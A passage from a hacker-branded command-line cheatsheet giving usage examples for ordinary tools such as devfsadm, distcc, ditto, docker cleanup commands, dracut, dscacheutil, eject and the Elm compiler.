		# _repo_smartsync () 
		# _repo_stage () 
		# _repo_start () 
		# _repo_status () 
		# _repo_sync () 
		# _repo_upload () 
		# _repo_version () 
		# _rl_enabled () 
		# _root_command () 
		# _service () 
		# _services () 
		# _shells () 
		# _signals () 
		# _split_longopt () 
		# _strip_colors () 
		# _sysvdirs () 
		# _terms () 
		# _tilde () 
		# _uids () 
		# _upvar () 
		# _upvars () 
		# _usb_ids () 
		# _user_at_host () 
		# _usergroup () 
		# _userland () 
		# _variables () 
		# _virtualenvs () 
		# _when_even () 
		# _when_first () 
		# _when_ix () 
		# _xfunc () 
		# _xinetd_services () 
		# allvirtualenv () 
		# asksure () 
		# boucle () 
		# boucle_fin () 
		# cdproject () 
		# cdsitepackages () 
		# cdvirtualenv () 
		# coline () 
		# confirme () 
		# cpvirtualenv () 
		# dequote () 
		# die () 
		# find () 
		# findg () 
		# findh () 
		# findr () 
		# forn () 
		# funtest () 
		# git () 
		# hgrep () 
		# htail () 
		# isVariableSet () 
		# iset () 
		# j () 
		# line () 
		# logload () 
		# lssitepackages () 
		# lsvirtualenv () 
		# lwl () 
		# mkflatdir () 
		# mkproject () 
		# mktmpenv () 
		# mkvirtualenv () 
		# oath () 
		# pac () 
		# pacUsage () 
		# pg () 
		# pkglog () 
		# proc () 
		# psearch () 
		# psg () 
		# quote () 
		# quote_readline () 
		# rbenv () 
		# redshift () 
		# reverseFiles () 
		# rmvirtualenv ()
		# setvirtualenvproject ()
		# showvirtualenv ()
		# sp ()
		# spacel ()
		# spacen ()
		# spacep ()
		# spaces ()
		# spacet ()
		# stderr ()
		# toggleglobalsitepackages ()
		# tychnelastlog ()
		# virtualenvwrapper ()
		# virtualenvwrapper_absolutepath ()
		# virtualenvwrapper_cd ()
		# virtualenvwrapper_derive_workon_home ()
		# virtualenvwrapper_expandpath ()
		# virtualenvwrapper_get_python_version ()
		# virtualenvwrapper_get_site_packages_dir ()
		# virtualenvwrapper_initialize ()
		# virtualenvwrapper_mkproject_help ()
		# virtualenvwrapper_mktemp ()
		# virtualenvwrapper_mkvirtualenv_help ()
		# virtualenvwrapper_run_hook ()
		# virtualenvwrapper_setup_tab_completion ()
		# virtualenvwrapper_show_workon_options ()
		# virtualenvwrapper_tempfile ()
		# virtualenvwrapper_verify_active_environment ()
		# virtualenvwrapper_verify_project_home ()
		# virtualenvwrapper_verify_resource ()
		# virtualenvwrapper_verify_virtualenv ()
		# virtualenvwrapper_verify_virtualenv_clone ()
		# virtualenvwrapper_verify_workon_environment ()
		# virtualenvwrapper_verify_workon_home ()
		# virtualenvwrapper_workon_help ()
		# what ()
		# wipeenv ()
		# workon ()

#==============================##==============================#
# CMD declare						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

25 - 🖥️devfsadm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the devfsadm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗██╗   ██╗███████╗███████╗ █████╗ ██████╗ ███╗   ███╗
#  ██╔══██╗██╔════╝██║   ██║██╔════╝██╔════╝██╔══██╗██╔══██╗████╗ ████║
#  ██║  ██║█████╗  ██║   ██║█████╗  ███████╗███████║██║  ██║██╔████╔██║
#  ██║  ██║██╔══╝  ╚██╗ ██╔╝██╔══╝  ╚════██║██╔══██║██║  ██║██║╚██╔╝██║
#  ██████╔╝███████╗ ╚████╔╝ ██║     ███████║██║  ██║██████╔╝██║ ╚═╝ ██║
#  ╚═════╝ ╚══════╝  ╚═══╝  ╚═╝     ╚══════╝╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝

# devfsadm
#
# Administration command for /dev. Maintains the /dev namespace (Solaris)

# Scan for new disks:
devfsadm -c disk

# Cleanup any dangling /dev links and scan for new device:
devfsadm -C -v

# Dry-run - output what would be changed but make no modifications:
devfsadm -C -v -n
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

26 - 🖥️distcc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the distcc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗███████╗████████╗ ██████╗ ██████╗
#                ██╔══██╗██║██╔════╝╚══██╔══╝██╔════╝██╔════╝
#                ██║  ██║██║███████╗   ██║   ██║     ██║     
#                ██║  ██║██║╚════██║   ██║   ██║     ██║     
#                ██████╔╝██║███████║   ██║   ╚██████╗╚██████╗
#                ╚═════╝ ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═════╝
                                                            
                                                           
																			  
# INSTALL
# ==============================================================================
# Edit /etc/default/distcc and set theses vars
# STARTDISTCC="true"
# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers
# #LISTENER="127.0.0.1"# Comment it
# ZEROCONF="true"# Auto configuration

# REMEMBER 1:
# Start/Restart your distccd servers before using one of these commands.
# service distccd start

# REMEMBER 2:
# Do not forget to install on each machine DISTCC.
# No need to install libs ! Only main host need libs !

# USAGE
# ==============================================================================

# Run make with 4 thread (a cross network) in auto configuration.
# Note: for gcc, Replace CXX by CC and g++ by gcc
ZEROCONF='+zeroconf' make -j4 CXX='distcc g++'

# Run make with 4 thread (a cross network) in static configuration (2 ip)
# Note: for gcc, Replace CXX by CC and g++ by gcc
DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++'

# Show hosts aviables
ZEROCONF='+zeroconf' distcc --show-hosts

#==============================##==============================#
# CMD distcc						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

27 - 🖥️ditto

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ditto command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗████████╗████████╗ ██████╗ 
#  ██╔══██╗██║╚══██╔══╝╚══██╔══╝██╔═══██╗
#  ██║  ██║██║   ██║      ██║   ██║   ██║
#  ██║  ██║██║   ██║      ██║   ██║   ██║
#  ██████╔╝██║   ██║      ██║   ╚██████╔╝
#  ╚═════╝ ╚═╝   ╚═╝      ╚═╝    ╚═════╝ 

# ditto
# Copy files and folders (Mac OS X)

# Overwrite contents of destination folder with contents of source folder:
ditto path/to/source path/to/destination

# Print a line to the Terminal window for every file that’s being copied:
ditto -V path/to/source path/to/destination

# Copy a given file or folder, while retaining the original file permissions:
ditto -rsrc path/to/source path/to/destination
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

28 - 🖥️docker

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the docker command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  ██████╗  ██████╗██╗  ██╗███████╗██████╗ 
#                ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
#                ██║  ██║██║   ██║██║     █████╔╝ █████╗  ██████╔╝
#                ██║  ██║██║   ██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
#                ██████╔╝╚██████╔╝╚██████╗██║  ██╗███████╗██║  ██║
#                ╚═════╝  ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                 
                                                                 
                                                                 
                                                                 
# Start docker daemon
docker -d

# start a container with an interactive shell
docker run -ti <image_name> /bin/bash

# "shell" into a running container (docker-1.3+)
docker exec -ti <container_name> bash

# inspect a running container
docker inspect <container_name> (or <container_id>)

# Get the process ID for a container
# Source: https://github.com/jpetazzo/nsenter
docker inspect --format {{.State.Pid}} <container_name_or_ID>

# List the current mounted volumes for a container (and pretty print)
# Source: http://nathanleclaire.com/blog/2014/07/12/10-docker-tips-and-tricks-that-will-make-you-sing-a-whale-song-of-joy/
docker inspect --format='{{json .Volumes}}' <container_id> | python -mjson.tool

# Copy files/folders between a container and your host
docker cp foo.txt mycontainer:/foo.txt

# list currently running containers
docker ps

# list all containers
docker ps -a

# list all images
docker images

# Remove all intermediate docker images after build
docker image rm $(docker image list -f "dangling=true" -qa)

# Remove all intermediate docker images after build
docker images | grep <none> | awk '{ print $3; }' | xargs docker rmi

# Docker: Remove all exited docker container
docker ps -aq --filter status=exited | xargs docker rm

# Docker: Remove all exited docker container -> This will do a clean up of stopped containers and volumes used by them Show Sample Output
docker system prune --volumes -f

docker images | grep -v REPOSITORY | awk '{print $1}' | xargs -L1 docker pull
# Update all Docker Images

# Docker: Remove all exited docker container
docker ps -aq --filter status=exited | xargs docker rm

# Remove all intermediate docker images after build
docker images | grep <none> | awk '{ print $3; }' | xargs docker rmi

# Docker: Remove all exited docker container - This will do a clean up of stopped containers and volumes used by them Show Sample Output
docker system prune --volumes -f

# Remove all intermediate docker images after build
docker image rm $(docker image list -f "dangling=true" -qa)

# kill the first docker container in docker ps -> Useful when developing and you donut usually have other docker commands running Show Sample Output
docker kill $(docker ps -q)

# Remove all docker images to cleanup disk -> Remove unused images -a Remove all unused images, not just dangling ones -f Do not prompt for confirmation Show Sample Output
# WARNING! This will remove all dangling images.
# Are you sure you want to continue? [y/N] 
# Total reclaimed space: 0B
docker rmi `docker images -a -q`

# Stop all running docker containers - passin list of docker container IDs to docker stop
docker stop $(docker ps -a -q)

docker run --rm -v /var/run/docker.sock:/var/run/docker.sock assaflavie/runlike [ID_CONTAINER]
# Get a docker container's run command line
# A good way to build a new container when you don't remember how you did it the first time This is sample output 
	docker run --name=mariadb --hostname=43bdf5467ad --env="MYSQL_ROOT_PASSWORD=xxxxxxxx" --env="PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" --env="GOSU_VERSION=1.10" --env="MARIADB_MAJOR=10.1" --env="MARIADB_VERSION=1:10.1.36+maria-1~bionic" --volume="/var/lib/mysql" -p 3308:3306 --restart=always --detach=true mariadb:10.1 mysqld

docker ps -a --format '{{ .ID }}' | xargs -I {} docker inspect -f '{{ .Name }}{{ printf "\n" }}{{ range .Mounts }}{{ printf "\n\t" }}{{ .Type }} {{ if eq .Type "bind" }}{{ .Source }}{{ end }}{{ .Name }} => {{ .Destination }}{{ end }}{{ printf "\n" }}' {}
# List docker volumes by container

mkdir -p src && chmod 777 src && docker run -v $(pwd)/src:/var/www/html wordpress:cli core download && chmod 755 src
# Download WordPress using Docker - This is sample output - yours may be different.
	Downloading WordPress 4.9.8 (en_US)...
	md5 hash verified: c4e7d68b5c382fbbaf547f2b2d42c198
	Success: WordPress downloaded.

	
# Remove all container from an specific network (docker)
docker ps -a -f network=$NETWORK --format='{{.ID}}' | xargs docker rm -f

# Remove all container from an specific network (docker)
docker ps -a -f network=$NETWORK --format='{{.ID}}' | xargs docker rm -f
# Explanation: docker ps -a -f network=$NETWORK --format='{{.ID}}' returns the id's of all container that are subscribed to the network and pass the output to xargs docker rm -f that stop and deletes each container

# Delete all untagged Docker images
docker images -q -f dangling=true | xargs --no-run-if-empty --delim='\n' docker rmi
# Explanation: It does not return a failing exit code if there are no images removed. It should always succeed unless there was an actual problem removing a Docker image.
# Limitations: This only works in the GNU version of xargs (thanks to the --no-run-if-empty), BSD does not have an equivalent that I know about.

## Related one-liners

# Delete all untagged Docker images
docker rmi $(docker images -f "dangling=true" -q)
# Explanation: docker images outputs all images currently available. By specifying -f "dangling=true" we restrict the list to "dangling" images (i.e. untagged). By specifying the -q option we use quiet mode, which limits the output to the images hash, which is the directly fed into docker rmi, which removes the images with the corresponding hashes.

# Delete all untagged Docker images
docker rmi $(docker images -f "dangling=true" -q)
# Explanation: docker images outputs all images currently available. By specifying -f "dangling=true" we restrict the list to "dangling" images (i.e. untagged). By specifying the -q option we use quiet mode, which limits the output to the images hash, which is the directly fed into docker rmi, which removes the images with the corresponding hashes.

## Alternative one-liners: 

# Delete all untagged Docker images
docker images -q -f dangling=true | xargs --no-run-if-empty --delim='\n' docker rmi
# Explanation: It does not return a failing exit code if there are no images removed. It should always succeed unless there was an actual problem removing a Docker image.
# Limitations: This only works in the GNU version of xargs (thanks to the --no-run-if-empty), BSD does not have an equivalent that I know about.

# Remove docker images older than one month
docker image ls --format '{{ json . }}' | jq -r -s '.[] | select(now - (.CreatedAt | strptime("%Y-%m-%d %H:%M:%S %Z") | mktime) > 3600 * 24 * 30) | .ID' | xargs -r docker image rm

# List docker log sizes and remind how to empty them
docker ps -qa | xargs docker inspect --format='{{.LogPath}}' | xargs sudo du -hl; sleep 1; printf "\r\n  echo '' > \$(docker inspect --format={{.LogPath}} container_name_or_id) \r\n*****COPY****ABOVE****TO******CLEAR*****LOG*****CHANGE***CONTAINER_ID******* \r\n \n"

#==============================##==============================#
# CMD docker						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

29 - 🖥️dracut

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the dracut command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██████╗  █████╗  ██████╗██╗   ██╗████████╗
#  ██╔══██╗██╔══██╗██╔══██╗██╔════╝██║   ██║╚══██╔══╝
#  ██║  ██║██████╔╝███████║██║     ██║   ██║   ██║   
#  ██║  ██║██╔══██╗██╔══██║██║     ██║   ██║   ██║   
#  ██████╔╝██║  ██║██║  ██║╚██████╗╚██████╔╝   ██║   
#  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝    ╚═╝   

# add driver to initrd/initramfs (nvme in this case)
dracut --add-drivers nvme -f /boot/initrd-$(uname -r).img $(uname -r)
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

30 - 🖥️drutil

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the drutil command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██████╗ ██╗   ██╗████████╗██╗██╗     
#  ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██║██║     
#  ██║  ██║██████╔╝██║   ██║   ██║   ██║██║     
#  ██║  ██║██╔══██╗██║   ██║   ██║   ██║██║     
#  ██████╔╝██║  ██║╚██████╔╝   ██║   ██║███████╗
#  ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚═╝╚══════╝

# drutil
# Interact with DVD burners (Mac OS X)

# Eject a disk from the drive:
drutil eject

# Burn a folder as an ISO9660 filesystem onto a DVD. Don't verify and eject when complete:
drutil burn -noverify -eject -iso9660
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

31 - 🖥️dscacheutil

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the dscacheutil command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗ ██████╗ █████╗  ██████╗██╗  ██╗███████╗██╗   ██╗████████╗██╗██╗     
#  ██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██║  ██║██╔════╝██║   ██║╚══██╔══╝██║██║     
#  ██║  ██║███████╗██║     ███████║██║     ███████║█████╗  ██║   ██║   ██║   ██║██║     
#  ██║  ██║╚════██║██║     ██╔══██║██║     ██╔══██║██╔══╝  ██║   ██║   ██║   ██║██║     
#  ██████╔╝███████║╚██████╗██║  ██║╚██████╗██║  ██║███████╗╚██████╔╝   ██║   ██║███████╗
#  ╚═════╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝    ╚═╝   ╚═╝╚══════╝

# dscacheutil
# Gather information, statistics and initiate queries to the Directory Service cache.

# Flush the DNS cache
# in OS X 10.9 Mavericks
dscacheutil -flushcache

# to clear DNS cache in 10.7 and 10.8
killall -HUP mDNSResponder

# Show DNS resolver statistics (Mac OS X)
dscacheutil -statistics
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

32 - 🖥️e2label

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the e2label command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██████╗ ██╗      █████╗ ██████╗ ███████╗██╗     
#  ██╔════╝╚════██╗██║     ██╔══██╗██╔══██╗██╔════╝██║     
#  █████╗   █████╔╝██║     ███████║██████╔╝█████╗  ██║     
#  ██╔══╝  ██╔═══╝ ██║     ██╔══██║██╔══██╗██╔══╝  ██║     
#  ███████╗███████╗███████╗██║  ██║██████╔╝███████╗███████╗
#  ╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚══════╝

e2label /dev/sdc1 2018backups 
# You can use the e2label program to give your ext[234] filesystems a label so that they have a symbolic name when automounted among other things.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

33 - 🖥️eject

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the eject command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗     ██╗███████╗ ██████╗████████╗
#  ██╔════╝     ██║██╔════╝██╔════╝╚══██╔══╝
#  █████╗       ██║█████╗  ██║        ██║   
#  ██╔══╝  ██   ██║██╔══╝  ██║        ██║   
#  ███████╗╚█████╔╝███████╗╚██████╗   ██║   
#  ╚══════╝ ╚════╝ ╚══════╝ ╚═════╝   ╚═╝   

# eject
# eject removable media
# You can also close the tray using certain options.

# Eject any available device
# CD-ROM, floppy disk, tape, or JAZ or ZIP disk
eject

# Eject a device by its name
eject /dev/cdrom

# Close the tray using eject command
eject -t

# Lock the hardware eject button
eject -i on

# Unlock the hardware eject button
eject -i off
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

34 - 🖥️elm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the elm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗     ███╗   ███╗
#  ██╔════╝██║     ████╗ ████║
#  █████╗  ██║     ██╔████╔██║
#  ██╔══╝  ██║     ██║╚██╔╝██║
#  ███████╗███████╗██║ ╚═╝ ██║
#  ╚══════╝╚══════╝╚═╝     ╚═╝

# Elm
# Domain-specific programming language for declaratively creating web browser-based graphical user interfaces. 

# Start Elm REPL
elm repl

# Default compilation 
elm make HelloWorld.elm -> index.html

# Custom name
elm make HelloWorld.elm --output hw.js

# Compile multiple files
elm make HelloWorld.elm MyModule.elm --output hw.js

# Compile with warnings
elm make HelloWorld.elm --warn

# Save result to a HTML
elm make HelloWorld.elm --output hw.html

# Install a package
elm package install evancz/elm-html

# See also:
#   Elm language cheat sheets at /elm/
#   list of pages:      /elm/:list
#   learn Elm:          /elm/:learn
